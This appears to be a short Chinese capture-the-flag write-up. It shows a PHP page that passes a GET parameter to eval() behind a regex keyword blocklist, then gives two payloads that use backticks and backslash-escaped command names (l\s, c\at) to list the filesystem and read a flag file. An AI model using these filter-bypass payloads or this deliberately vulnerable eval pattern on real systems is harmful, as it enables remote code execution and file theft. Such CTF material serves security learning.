1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
<?php
## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????
if(isset($_GET['code'])){
$code=$_GET['code'];
if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
echo '看看你输入的参数!!!不叫样子!!';echo '<br>';
eval($code);
}
else{
die("你想干什么?????????");
}
}
else{
echo "居然都不输入参数,可恶!!!!!!!!!";
show_source(__FILE__);
}
?>
|
代码中的正则没有包括反引号 ` 、斜杠 / 、反斜杠 \ 、 打印函数 print 、括号 () 、分号 ;
payload:
1
2
|
?code=print(`l\s /`);
?code=print(`c\at /fffffffffflagafag`);
|
在PHP中,反引号 ` 通常用于执行系统命令,并返回命令执行的输出。这是一种执行外部命令的方法,类似于使用 shell_exec 函数或 exec 函数:
反斜杠 \
不会影响系统命令的执行:
在这里可以用来绕过正则匹配